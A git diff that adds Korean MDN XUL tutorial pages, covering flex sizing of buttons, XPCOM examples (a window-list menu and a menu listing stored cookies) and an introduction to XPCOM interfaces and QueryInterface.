+<p>여러분이 위 그림에서 뭔가를 눈치챘을 지 모르겠습니다. 찾기(Find) 버튼의 크기가 커졌을 뿐만 아니라, 주 라벨과 버튼 사이에 약간의 여백이 나타난 것을 보실 수 있습니다. 당연한 것이지만, 이것은 앞에서 공백 요소를 넣은 것입니다. 공백 요소가 그 자체 크기를 조절한 것입니다. 자세히 보면, 변경되는 크기가 공백 요소와 버튼에 균등하게 나누어져 적용되는 것을 볼 수 있습니다. 여유 공간의 절반은 공백 요소에 나머지 절반은 버튼에 적용되는 것입니다.</p>
+<p>이런 효과를 보는 이유는 공백 요소와 찾기(Find) 버튼 모두 flex 속성을 가지고 있기 때문입니다. 둘 다 <code>flex</code>을 가지기 때문에, 버튼과 공백 요소 모두 균일하게 크기를 변경한 것입니다.</p>
+<p>만일 요소를 어떤 요소를 다른 것에 비해 두배 크기로 적용하려면 어떻게 할까? 그렇게 하려면 <code>flex</code> 속성값을 더 높은 숫자로 쓰면 됩니다. 요소의 flex 값은 비율을 나타냅니다. 만일 어떤 요소의 flex값이 1이고 다음 요소의 값은 2라면, 후자는 첫 번째의 두배 비율로 커지게 됩니다. 사실, flex 값이 2라는 것은 flex가 1인 요소 2개 가지고 있다고 말하는 것과 같습니다.</p>
+<p><code>flex</code> 속성은 실제 크기를 나타내기 위해 사용되는 것이 아닙니다. 대신 그것은 포함하는 상자의 자식들 중간에 어떻게 빈 공간을 넣을지를 나타내는 것입니다. 우리는 다음 섹션에서 상자에 대해 알아볼 것입니다. 상자의 자식들의 기본 크기가 정해지면 유연성 값(flex)은 상자 내의 빈 공간을 나누는데 사용됩니다. 예를 들어 상자의 너비가 200픽셀이고 두 개의 유연한 버튼(flex값을 가진 버튼)을 포함한 경우, 첫 번째 버튼이 50픽셀이고 다음 버튼은 90픽셀이면, 남은 공간은 60픽셀입니다. 만일 버튼 모두의 flex값이 1이면 각 버튼의 너비가 30픽셀씩 추가되어 나눠집니다. 만일 두번째 버튼의 flex값이 2로 증가하면, 첫번째 버튼은 20픽셀의 남은 공간을 두번째 버튼은 40픽셀의 추가 공간을 할당받게 됩니다.</p>
+<p><code>flex</code> 속성은 어떠한 요소에도 포함될 수 있지만 XUL 상자에 바로 포함되어 있는 요소에서만 의미가 있습니다. 이것은 HTML 요소에도 <code>flex</code>를 넣을 수 있지만, 해당 요소가 비상자(non-box) 요소의 내부에 있다면 아무 효과도 일어나지 않는다는 것을 의미합니다.</p>
+<h5 id="Flex_.EC.98.88.EC.A0.9C" name="Flex_.EC.98.88.EC.A0.9C">Flex 예제</h5>
+<pre class="eval">예제 1:
+  &lt;button label="Find" flex="1"/&gt;
+  &lt;button label="Cancel" flex="1"/&gt;
+
+예제 2:
+  &lt;button label="Find" flex="1"/&gt;
+  &lt;button label="Cancel" flex="10"/&gt;
+
+예제 3:
+  &lt;button label="Find" flex="2"/&gt;
+  &lt;button label="Replace"/&gt;
+  &lt;button label="Cancel" flex="4"/&gt;
+
+예제 4:
+  &lt;button label="Find" flex="2"/&gt;
+  &lt;button label="Replace" flex="2"/&gt;
+  &lt;button label="Cancel" flex="3"/&gt;
+
+예제 5:
+  &lt;html:div&gt;
+    &lt;button label="Find" flex="2"/&gt;
+    &lt;button label="Replace" flex="2"/&gt;
+  &lt;/html:div&gt;
+
+예제 6:
+  &lt;button label="Find" flex="145"/&gt;
+  &lt;button label="Replace" flex="145"/&gt;
+</pre>
+<dl>
+ <dt>
+  예제 1 </dt>
+ <dd>
+  이 경우 유연성(flexibility)은 두 버튼에서 균등하게 나뉘어집니다. 두 버튼은 균등하게 크기를 변경하게 됩니다.</dd>
+ <dt>
+  예제 2 </dt>
+ <dd>
+  이 경우, 두 버튼은 커지긴 하지만, Cancel 버튼의 flex값이 Find 버튼의 flex값보다 10배 크기 때문에, 찾기(Find) 버튼은 항상 취소(Cancel)버튼의 크기 증가값의 1/10 크기만큼만 변하게 됩니다. 가능한 공간은 1만큼의 Find 버튼 영역과 10만큼의 Cancel 버튼 영역으로 나누어지게 됩니다.</dd>
+ <dt>
+  예제 3 </dt>
+ <dd>
+  버튼 중 2개만이 유연하도록 표시되어 있습니다. Replace 버튼은 절대 크기가 변하지 않을 것이고, 나머지는 변할 것입니다. 취소(Cancel) 버튼은 항상 찾기(Find) 버튼의 두 배만큼 커지는데 이는 flex 값이 두배이기 때문입니다.</dd>
+ <dt>
+  예제 4 </dt>
+ <dd>
+  이 경우, 3개 모두 유연함을 가지고 있습니다. 찾기(Find)와 바꾸기(Replace) 버튼은 항상 같은 크기이지만 취소(Cancel)은 약간은 더 크게 됩니다(정확히 말하면 50% 더 커집니다).</dd>
+ <dt>
+  예제 5 </dt>
+ <dd>
+  여기서는 두 개 버튼이 div 요소내에 있습니다. 이처럼 버튼이 상자내에 직접 사용되지 않은 경우에는 flex의 의미가 없어집니다. 이 경우에는 flex가 없는 것과 동일한 효과를 보이게 됩니다.</dd>
+ <dt>
+  예제 6 </dt>
+ <dd>
+  두 버튼의 flex 값이 모두 같기 때문에, 동일하게 변합니다. flex에 145 대신 1값을 적용하더라도 동일하게 동작할 것입니다. 이 경우에는 전혀 차이가 없습니다. 여러분은 가독성을 위해서 가능한 낮은 숫자를 사용할 것을 권장합니다.</dd>
+</dl>
+<p>버튼의 라벨과 최소 크기 같은 다른 요인들이 버튼의 실제 크기에 영향을 준다는 점을 반드시 명심하세요. 예를 들어 버튼에 포함된 라벨이 필요로 하는 공간보다 작게는 줄어들지는 않을 것입니다.</p>
+<p>flex값을 0으로 설정하는 것은 <code>flex</code> 속성을 사용하지 않은 것과 같은 효과를 나타냅니다. 이것은 해당 요소가 전혀 유연하지 않게 된다는 것을 의미합니다. 여러분은 때때로 flex 값을 백분률로 지정한 것을 볼 수도 있을 것입니다. 이것은 특별한 의미는 없고 백분률 기호(%)가 없는 것처럼 처리됩니다.</p>
+<p>여러분은 파일 찾기 대화상자를 수직으로 크기 조절을 했을 때 버튼의 크기가 자동적으로 창의 높이에 맞게 늘어나는 것을 보실 수 있을 것입니다. 이것은, 모든 버튼들은 내부적으로 수직 flex가 지정되어 있기 때문입니다. 다음 섹션에서는 이것을 어떻게 수정할 수 있는지에 대해 공부하겠습니다.</p>
+<div class="highlight">
+ <h5 id=".EC.97.AC.ED.83.9C.EA.B9.8C.EC.A7.80.EC.9D.98_.ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EC.98.88.EC.A0.9C" name=".EC.97.AC.ED.83.9C.EA.B9.8C.EC.A7.80.EC.9D.98_.ED.8C.8C.EC.9D.BC_.EC.B0.BE.EA.B8.B0_.EC.98.88.EC.A0.9C">여태까지의 파일 찾기 예제</h5>
+ <p><a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-springs.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-springs.xul">View</a></p>
+</div>
+<p>다음에는 <a href="ko/XUL_Tutorial/More_Button_Features">버튼의 부가적인 기능들</a>에 대해 알아보겠습니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Adding_HTML_Elements" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:More_Button_Features">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/xpcom_examples/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/xpcom_examples/index.html
new file mode 100644
index 0000000000..4b3eaea401
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/xpcom_examples/index.html
@@ -0,0 +1,132 @@
+---
+title: XPCOM Examples
+slug: Mozilla/Tech/XUL/XUL_Tutorial/XPCOM_Examples
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/XPCOM_Examples
+---
+<p>
+</p><p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:XPCOM_Interfaces" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Trees">다음  »</a></p>
+</div>
+<p></p><p>본 단원에서는 몇가지 인터페이스와 함께 XPCOM를 이용하는 예제를 제공합니다.
+</p>
+<h3 id=".EC.B0.BD_.EA.B4.80.EB.A6.AC" name=".EC.B0.BD_.EA.B4.80.EB.A6.AC"> 창 관리 </h3>
+<div class="note">
+<p>본 예제에는 <a href="ko/XUL_Tutorial/Templates">이후 단원</a>에서 보게될 RDF 데이터소스에 대한 내용이 들어 있습니다. 따라서 이에 대한 지식이 없다면 넘어가도 괜찮습니다.
+</p>
+</div>
+<h4 id=".EC.B0.BD_.EB.A9.94.EB.89.B4_.EB.A7.8C.EB.93.A4.EA.B8.B0" name=".EC.B0.BD_.EB.A9.94.EB.89.B4_.EB.A7.8C.EB.93.A4.EA.B8.B0"> 창 메뉴 만들기 </h4>
+<p>The list of currently open Mozilla windows can be used as an <a href="ko/XUL_Tutorial/RDF_Datasources">RDF datasource</a>. This allows you to create a Window menu with a list of the currently open windows in the application. The datasource for this is <code>rdf:window-mediator</code>. We can use this as in the following example:
+</p><p><span id="Example_1"><a id="Example_1"></a><strong>Example 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_xpcomex_1.xul.txt">Source</a>
+</p>
+<pre>&lt;toolbox&gt;
+ &lt;menubar id="windowlist-menubar"&gt;
+  &lt;menu label="Window"&gt;
+   &lt;menupopup id="window-menu" datasources="rdf:window-mediator" ref="NC:WindowMediatorRoot"&gt;
+    &lt;template&gt;
+     &lt;rule&gt;
+      &lt;menuitem uri="rdf:*" label="rdf:http://home.netscape.com/NC-rdf#Name"/&gt;
+     &lt;/rule&gt;
+    &lt;/template&gt;
+   &lt;/menupopup&gt;
+  &lt;/menu&gt;
+ &lt;/menubar&gt;
+&lt;/toolbox&gt;
+</pre>
+<p>A Window menu will be created with a list of all the open windows. Try this example by opening a number of browser windows and you'll see that they are all listed on the menu.
+</p>
+<h4 id="Window_mediator_component" name="Window_mediator_component"> Window mediator component </h4>
+<p>This is fine for displaying a list of open windows, but we would like to enhance this so that clicking on the menu item will switch to that window. This is accomplished by using the <a class="external" href="http://xulplanet.com/references/xpcomref/comps/c_rdfdatasource1namewindowmediator.html">window mediator component</a>. It implements the interface nsIWindowDataSource. The code below shows how to get a component which implements it:
+</p>
+<pre>var wmdata = Components.classes["@mozilla.org/rdf/datasource;1?name=window-mediator"].getService();
+wmdata.QueryInterface(Components.interfaces.nsIWindowDataSource);
+</pre>
+<p>This code retrieves a window mediator data source component. The component used here is the same one that handles the window-mediator RDF datasource. You can also get this component through the RDF service, which is another service that manages RDF datasources.
+</p><p>The <a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIWindowDataSource.html">nsIWindowDataSource</a> interface has a function <code>getWindowForResource</code>, which can be used to get the window given a resource. In the earlier example, we generated the list of windows and added it to a menu via a template. The template generates an <code>id</code> attribute on each <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></code> element. The value of this attribute can be used as the resource. That means that in order to switch the window focus, we need to do the following:
+</p>
+<ol><li> Determine the element that the user clicked on.
+</li><li> Get the value of the <code><code id="a-id"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code></code> attribute from the element.
+</li><li> Pass this value to <code>getWindowForResource()</code> to get a window object.
+</li><li> Switch the focus to this window.
+</li></ol>
+<p>The example below shows how we might do this:
+</p>
+<pre>&lt;toolbox&gt;
+ &lt;menubar id="windowlist-menubar"&gt;
+  &lt;menu label="Window" oncommand="switchFocus(event.target);"&gt;
+   &lt;menupopup id="window-menu" datasources="rdf:window-mediator" ref="NC:WindowMediatorRoot"&gt;
+    &lt;template&gt;
+     &lt;rule&gt;
+      &lt;menuitem uri="rdf:*" label="rdf:http://home.netscape.com/NC-rdf#Name"/&gt;
+     &lt;/rule&gt;
+    &lt;/template&gt;
+   &lt;/menupopup&gt;
+  &lt;/menu&gt;
+ &lt;/menubar&gt;
+&lt;/toolbox&gt;
+
+&lt;script&gt;
+function switchFocus(elem)
+{
+  var mediator = Components.classes["@mozilla.org/rdf/datasource;1?name=window-mediator"].getService();
+  mediator.QueryInterface(Components.interfaces.nsIWindowDataSource);
+
+  var resource = elem.getAttribute('id');
+  switchwindow = mediator.getWindowForResource(resource);
+
+  if (switchwindow){
+    switchwindow.focus();
+  }
+}
+&lt;/script&gt;
+</pre>
+<p>A command handler was added to the menu element which calls the function switchFocus() with a parameter of the element that was selected from the menu. The function switchFocus():
+</p>
+<ul><li> first gets a reference to a component which implements the window mediator interface. </li><li> Next, we get the <code><code id="a-id"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code></code> attribute for the element. We can use the value of the <code><code id="a-id"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code></code> attribute as the resource. </li><li> The function <code>getWindowForResource()</code> takes the resource and returns a window that matches it. This window, stored in the <code>switchwindow</code> variable, is the same as the JavaScript window object. </li><li> This means that you can call any of the functions provided by it, one of which is the <code><span id="m-focus"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/focus">focus()</a></code></span></code> function.
+</li></ul>
+<h3 id=".EC.BF.A0.EA.B8.B0.28cookies.29" name=".EC.BF.A0.EA.B8.B0.28cookies.29"> 쿠기(cookies) </h3>
+<p>다음으로 브라우저에 저장된 쿠키 목록을 가져와 보겠습니다. 쿠키 서비스는 다양한 목적으로 사용될 수 있습니다. 쿠키 서비스는 <code><a class="external" href="http://xulplanet.com/references/xpcomref/ifaces/nsICookieManager.html">nsICookieManager</a></code> 인터페이스를 구현하고 있으며, 저장된 모든 쿠키를 열거하는데 사용할 수 있습니다. 다음은 MozillaZine에서 설정된 모든 쿠키의 이름을 메뉴 목록에 출력하는 예제입니다.
+</p>
+<pre>&lt;script&gt;
+
+function getCookies()
+{
+  var menu = document.getElementById("cookieMenu");
+  menu.removeAllItems();
+
+  var cookieManager = Components.classes["@mozilla.org/cookiemanager;1"]
+                        .getService(Components.interfaces.nsICookieManager);
+
+  var iter = cookieManager.enumerator;
+  while (iter.hasMoreElements()){
+    var cookie = iter.getNext();
+    if (cookie instanceof Components.interfaces.nsICookie){
+      if (cookie.host == "www.mozillazine.org")
+        menu.appendItem(cookie.name,cookie.value);
+    }
+  }
+}
+&lt;/script&gt;
+
+&lt;hbox&gt;
+  &lt;menulist id="cookieMenu" onpopupshowing="getCookies();"/&gt;
+&lt;/hbox&gt;
+</pre>
+<p><br>
+getCookies() 함수는 메뉴가 열릴때마다 호출되는데, 이는 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code></code> 요소의 <code><code id="a-onpopupshowing"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/onpopupshowing">onpopupshowing</a></code></code> 속성에 지정되어 있습니다. getCookies() 함수의 처음 두줄은 menulist를 가져와서 현재 메뉴에 있는 모든 항목을 삭제하는 것입니다. 이것은 getCookies() 함수가 메뉴가 열릴때마다 호출되고, 매번 이전 항목이 남아있지 않아야 하기 때문입니다.
+</p><p>다음은 쿠키 관리자에 대한 참조를 받아옵니다. 쿠키 관리자에는 <code><a href="ko/NsISimpleEnumerator">nsISimpleEnumerator</a></code> 인터페이스를 구현하는 객체를 반환하는 <code>enumerator</code> 메소드가 있습니다. 이 메소드는 모든 쿠키별로 반복(iteratee)하기 위해 사용됩니다. 해당 인터페이스(nsISimpleEnumerator)에는 <code>hasMoreElements()</code> 메소드가 있으며 마지막 쿠키에 도달하기 전까지는 true를 반환합니다. <code>getNext()</code> 메소드는 쿠키를 가져온 후 열거자(enumerator)의 인덱스를 다음 쿠키로 이동합니다. <code>enumerator</code>는 범용 객체를 반환하기 때문에, 사용하기 전에 QueryInterface() 함수로 <code><a class="external" href="http://xulplanet.com/references/xpcomref/ifaces/nsICookie.html">nsICookie</a></code> 인터페이스를 얻어와야 합니다. 예제에서는 <code>instanceof</code> 연산자를 사용하였습니다.
+</p><p>마지막으로 메뉴에 쿠키를 추가하며, 이를 위해 쿠키의 호스트, 이름, 값이 사용되었습니다. 메뉴에는 <code><span id="m-appendItem"><code><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Method/appendItem">appendItem()</a></code></span></code> 함수가 있으며, 이 함수는 주어진 라벨과 값으로 메뉴 항목을 추가하는데 사용됩니다.
+</p>
+<h3 id=".EB.98.90_.EB.B3.BC.EA.B3.B3" name=".EB.98.90_.EB.B3.BC.EA.B3.B3"> 또 볼곳 </h3>
+<p>아래에서 좀더 많은 예제를 볼 수 있습니다.
+</p>
+<ul><li> <a href="ko/Code_snippets">Code snippets</a>
+</li><li> <a class=" external" href="http://kb.mozillazine.org/Category:XPCOM_example_code" rel="freelink">http://kb.mozillazine.org/Category:XPCOM_example_code</a>
+</li></ul>
+<p>다음에는 <a href="ko/XUL_Tutorial/Trees">트리의 작성방법</a>에 대해 알아보겠습니다.
+</p><p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:XPCOM_Interfaces" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Trees">다음  »</a></p>
+</div>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/xpcom_interfaces/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/xpcom_interfaces/index.html
new file mode 100644
index 0000000000..135628bf09
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/xpcom_interfaces/index.html
@@ -0,0 +1,187 @@
+---
+title: XPCOM Interfaces
+slug: Mozilla/Tech/XUL/XUL_Tutorial/XPCOM_Interfaces
+tags:
+  - XPConnect
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/XPCOM_Interfaces
+---
+<p> </p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Box_Objects" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:XPCOM_Examples">다음  »</a></p>
+</div><p></p>
+
+<p>이번 단원에서는, Mozilla가 사용하는 객체 시스템인 <a href="ko/XPCOM">XPCOM</a> (Cross-platform Component Object Model)에 대해 간단히 알아보겠습니다.</p>
+
+<h3 id=".EB.84.A4.EC.9D.B4.ED.8B.B0.EB.B8.8C_.EA.B0.9D.EC.B2.B4_.ED.98.B8.EC.B6.9C.ED.95.98.EA.B8.B0" name=".EB.84.A4.EC.9D.B4.ED.8B.B0.EB.B8.8C_.EA.B0.9D.EC.B2.B4_.ED.98.B8.EC.B6.9C.ED.95.98.EA.B8.B0">네이티브 객체 호출하기</h3>
+
+<p>우리는 XUL을 사용해서 복잡한 사용자 인터페이스를 작성할 수 있습니다. 또한, 인터페이스를 변경하고 어떤 작업을 수행하는 스크립트를 붙일 수도 있습니다. 그러나 아직도 JavaScript를 이용해서 직접적으로 수행할 수 없는 많은 것들이 존재합니다. 예를 들어, 메일 응용프로그램을 작성하고자 한다면, 메일 서버에 접속해서 메일을 보내거나 받을 수 있는 스크립트를 작성해야 할 것입니다. 그러나 JavaScript로는 이러한 것들을 할 수 없습니다.</p>
+
+<p>이러한 기능을 처리할 수 있는 유일한 방법은 메일을 주고 받을 수 있는 네이티브(native) 코드를 작성하는 것입니다. 또한 작성된 네이티브 코드를 스크립트에서 손쉽게 호출할 수 있는 방법도 있어야 할 것입니다. Mozilla는 <a href="ko/XPCOM">XPCOM</a> (Cross-platform Component Object Model)을 사용해 이러한 것들을 수행할 수 있는 방법을 제공합니다.</p>
+
+<div class="note">
+<p>Mozilla에서는 많은 수의 XPCOM 컴포넌트와 인터페이스를 제공합니다. 따라서 대부분의 경우 직접 네이티브 코드를 작성할 필요는 없을 것입니다. 이번 단원을 학습한 후에 <a class="external" href="http://xulplanet.com/references/xpcomref/">XULPlanet XPCOM Reference</a>를 보면서 필요한 인터페이스를 찾을 수 있을 것입니다.</p>
+</div>
+
+<h3 id="XPCOM.EC.97.90_.EA.B4.80.ED.95.98.EC.97.AC" name="XPCOM.EC.97.90_.EA.B4.80.ED.95.98.EC.97.AC">XPCOM에 관하여</h3>
+
+<p>Mozilla는 각각의 고유한 작업을 수행하는 컴포넌트들의 집합으로 구성되어 있습니다. 예를 들어, 메뉴, 버튼, 요소들에 해당하는 컴포넌트가 있습니다. 컴포넌트들은 인터페이스라고 불리는 정의들로부터 구축됩니다.</p>
+
+<p>Mozilla에서의 인터페이스는 컴포넌트들에 의해 구현되어야 하는 기능들의 집합입니다. 컴포넌트는 무엇인가를 수행하는 Mozilla에 있는 코드를 구현한 것입니다. 각각의 컴포넌트는 인터페이스에 서술된데로 기능을 구현합니다. 단일 컴포넌트가 여러 개의 인터페이스를 구현할 수도 있고, 여러 개의 컴포넌트들이 하나의 인터페이스를 구현할 수도 있습니다.</p>
+
+<p>파일 컴포넌트를 예로 들어 보겠습니다. 인터페이스는 파일이 수행할 수 있는 함수와 속성을 서술하여 작성할 필요가 있을 것입니다. 파일에는 이름, 수정일자, 크기와 같은 속성과 파일의 이동, 복사, 삭제를 수행하는 함수가 포함되어야 할 것입니다.</p>
+
+<p>파일 인터페이스는 파일의 특성에 대해서만 서술하고, 이를 구현하지는 않습니다. 파일 인터페이스의 구현은 컴포넌트의 몫입니다. 컴포넌트는 파일의 이름과 날짜, 크기 등을 가져올 수 있는 코드를 가질 것입니다. 또한 파일을 복사하거나 이름을 바꾸는 코드도 있을 것입니다.</p>
+
+<p>컴포넌트가 인터페이스를 올바르게 구현했다면 어떻게 구현되는지에 대해서는 신경쓰지 않아도 됩니다. 물론 플랫폼에 따라 서로 다른 구현이 있을 것입니다. 파일 컴포넌트의 Windows와 Macintosh 버전은 꽤 틀릴 것입니다. 그러나 그들은 모두 동일한 인터페이스를 구현할 것입니다. 따라서 우리는 인터페이스를 통해 알게 된 함수로 접근함으로서 해당 컴포넌트를 사용할 수 있습니다.</p>
+
+<p>Mozilla에서 인터페이스 이름을 쉽게 알아볼 수 있도록, 보통 'nsI', 'mozI'가 이름 앞에 붙습니다. 예를 들어 <code>nsIAddressBook</code>는 주소록과 관련된 인터페이스이며, <code>nsISound</code>는 음악 파일을 플레이 하는데 사용되며, <code>nsILocalFile</code>는 파일을 사용하는 것과 관련된 인터페이스 입니다. Mozilla에 있는 많은 인터페이스에 대해서는 <a href="ko/Interfaces">인터페이스</a>를 참조하세요.</p>
+
+<p>XPCOM 컴포넌트는 대부분 네이티브 코드로 구현되어 있으며, 이는 JavaScript가 자체적으로는 하지 못하는 것들을 할 수 있다는 것을 의미합니다. 그러나 잠시 후 보시겠지만, 이를 호출할 수 있는 방법이 있습니다. 우리는 인터페이스에서 기술한데로 이를 구현한 컴포넌트에서 제공되는 어떤 함수도 호출할 수 있습니다. 예를 들어 어떤 컴포넌트를 가지고 있다면, 그것이 <code>nsISound</code> 인터페이스를 구현하는지 검사할 수 있으며, 그렇다면 그것을 통해 음악을 플레이 할 수 있습니다.</p>
+
+<p>스크립트에서 XPCOM을 호출하는 절차를 <a href="ko/XPConnect">XPConnect</a>라고 부르며, 이는 스크립트 객체를 네이티브 객체로 변환해주는 계층(layer)입니다.</p>
+
+<h3 id="XPCOM_.EA.B0.9D.EC.B2.B4_.EC.83.9D.EC.84.B1" name="XPCOM_.EA.B0.9D.EC.B2.B4_.EC.83.9D.EC.84.B1">XPCOM 객체 생성</h3>
+
+<p>XPCOM 컴포넌트를 호출하는데는 3가지 단계가 있습니다.</p>
+
+<ol>
+ <li>컴포넌트를 얻는다.</li>
+ <li>사용하고자 하는 인터페이스를 구현한 컴포넌트의 일부를 얻는다.</li>
+ <li>필요한 함수를 호출한다.</li>
+</ol>
+
+<p>처음 두 단계만 실행하면, 마지막 단계는 필요시마다 반복할 수 있습니다. 우리가 파일 이름을 바꾼다고 합시다. 이를 위해 우리는 <code>nsILocalFile</code> 인터페이스를 사용할 수 있습니다. 첫번째 단계는 파일 컴포넌트를 얻어오는 것입니다. 두번째는 파일 컴포넌트에 질의해서 <code>nsILocalFile</code> 인터페이스를 구현하는 부분은 얻어오는 것입니다. 마지막으로 해당 인터페이스에서 제공하는 함수를 호출합니다. 이 인터페이스는 하나의 파일을 표현하는데 사용됩니다.</p>
+
+<p>우리는 인터페이스 이름이 'nsI'나 'mozI'로 시작하는 것을 자주 봤습니다. 그러나 컴포넌트는 URI와 같은 문자열을 사용해서 참조됩니다. Mozilla는 내부 레지스트리에 사용 가능한 모든 컴포넌트의 목록을 저장하고 있습니다. 사용자는 필요한 경우 새로운 컴포넌트를 설치할 수 있습니다. 이는 플러그인과 아주 비슷하게 동작합니다.</p>
+
+<p>Mozilla에서는 파일 컴포넌트를 제공하며, 이는 <code><a href="ko/NsILocalFile">nsILocalFile</a></code> 인터페이스를 구현합니다. 이 컴포넌트는 <code><a class="link-mailto" href="mailto:'@mozilla.org" rel="freelink">'@mozilla.org</a>/file/local;1'</code>로 참조될 수 있으며 이 문자열을 계약(contract)ID라고 부릅니다. 계약ID의 구문은 다음과 같습니다.</p>
+
+<pre class="eval">@&lt;internetdomain&gt;/module[/submodule[...]];&lt;version&gt;[?&lt;name&gt;=&lt;value&gt;[&amp;&lt;name&gt;=&lt;value&gt;[...]]]
+</pre>
+
+<p>다른 컴포넌트들도 이와 비슷한 방법으로 참조할 수 있습니다.</p>
+
+<p>컴포넌트의 계약ID는 컴포넌트를 얻기 위해 사용할 수 있으며, JavaScript 코드를 사용해 컴포넌트를 얻는 방법은 다음과 같습니다.</p>
+
+<pre>var aFile = Components.classes["@mozilla.org/file/local;1"].createInstance();
+</pre>
+
+<p>파일 컴포넌트를 얻어와<em>aFile</em> 변수에 저장하였습니다. 예제의 <code><a href="ko/Components_object">Components</a></code>는 컴포넌트와 관련된 함수를 제공하는 범용 객체를 참조합니다. 여기서 우리는 <code>classes</code> 속성으로부터 컴포넌트 클래스를 얻어옵니다. <code>classes</code> 속성은 사용할 수 있는 모든 컴포넌트를 가지고 있는 배열입니다. 다른 컴포넌트를 얻어오려면 대괄호 안에 있는 계약ID를 사용하고자 하는 컴포넌트의 ID로 변경하면 됩니다. 마지막으로 <code>createInstance()</code> 함수를 이용해 인스턴스를 생성하였습니다.</p>
+
+<p>여러분은 <code>createInstance()</code>함수의 반환값이, 컴포넌트가 존재하지 않는다는 것을 의미하는 null이 아닌지 확인하는게 좋습니다.</p>
+
+<p>그러나 이 시점에서 우리는 파일 컴포넌트 자체에 대한 참조만을 얻었을 뿐입니다. 컴포넌트 내의 함수를 호출하기 위해서는 컴포넌트의 인스턴스를 얻어야만 합니다. 이 경우에는 <code><a href="ko/NsILocalFile">nsILocalFile</a></code>로 다음의 두번째 줄에서 필요한 코드가 추가되어 있습니다.</p>
+
+<pre>var aFile = Components.classes["@mozilla.org/file/local;1"].createInstance();
+if (aFile) aFile.QueryInterface(Components.interfaces.nsILocalFile);
+</pre>
+
+<p><code>QueryInterface()</code> 는 모든 컴포넌트에서 제공되는 함수로, 해당 컴포넌트의 특정 인터페이스를 얻기 위해 사용됩니다. 이 함수는 얻고자 하는 인터페이스를 명시한 한 개의 인자를 받습니다. <code>Components</code> 객체의 <code>interfaces</code> 속성에는 해당 컴포넌트에서 사용 가능한 모든 인터페이스의 목록이 들어 있습니다. 여기서 우리는 <code>nsILocalFile</code> 인터페이스를 사용하고자 하므로, 이를 <code>QueryInterface()</code>의 인자로 넘겼습니다. 결과적으로 <code>aFile</code> 변수는 파일 컴포넌트에서 nsILocalFile 인터페이스를 구현하는 부분을 참조하게 됩니다.</p>
+
+<p>위의 JavaScript 코드는 아무 컴포넌트의 어떤 인터페이스에서도 사용할 수 있습니다. 코드의 컴포넌트 이름을 사용하고자 하는 컴포넌트와 인터페이스 이름으로 바꿔서 사용하면 됩니다. 또 당연히 변수 이름도 바꿀 수 있습니다. 예를 들어 사운드 인터페이스를 얻으려면 다음과 같이 수정하면 됩니다.</p>
+
+<pre>var sound = Components.classes["@mozilla.org/sound;1"].createInstance();
+if (sound) sound.QueryInterface(Components.interfaces.nsISound);
+</pre>
+
+<p>XPCOM 인터페이스는 다른 인터페이스로부터 상속될 수 있습니다. 다른 인터페이스로부터 상속된 인터페이스는 자신의 함수와 부모 인터페이스가 가진 모든 함수를 가지게 됩니다. 모든 인터페이스는 <code>nsISupports</code>라고 불리는 최상위 인터페이스에서 상속됩니다. 이 인터페이스에는 앞서 보았던 JavaScript를 지원하기 위한 목적인 <code>QueryInterface()</code>라는 한가지 함수만 있습니다. <code>nsISupports</code> 인터페이스가 모든 컴포넌트에 의해 구현되기 때문에, <code>QueryInterface()</code> 함수도 모든 컴포넌트에서 사용할 수 있는 것입니다.</p>
+
+<p>몇몇 컴포넌트들은 동일한 인터페이스를 구현할 수도 있습니다. 그러한 경우 보통은 어떤 클래스의 서브클래스들인 경우이겠지만, 꼭 그래야 하는것은 아닙니다. 아무 컴포넌트나 <code>nsILocalFile</code>의 기능을 구현할 수 있습니다. 또한 하나의 컴포넌트가 여러개의 인터페이스를 구현할 수도 있습니다. 이런 이유들 때문에 위와 같이 두 단계로 진행되는 것입니다.</p>
+
+<p>그러나 위의 코드를 자주 사용하기 때문에 다음과 같이 줄여서도 사용할 수 있습니다.</p>
+
+<pre>var aLocalFile = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
+</pre>
+
+<p>이 코드는 앞서의 두줄 짜리 코드와 동일한 일을 하는 한줄 짜리 코드입니다. 여기서는 앞서의 두 단계에 있었던 인스턴스를 생성한 후에 인터페이스를 얻기 위해 쿼리하는 부분이 제거되었습니다.</p>
+
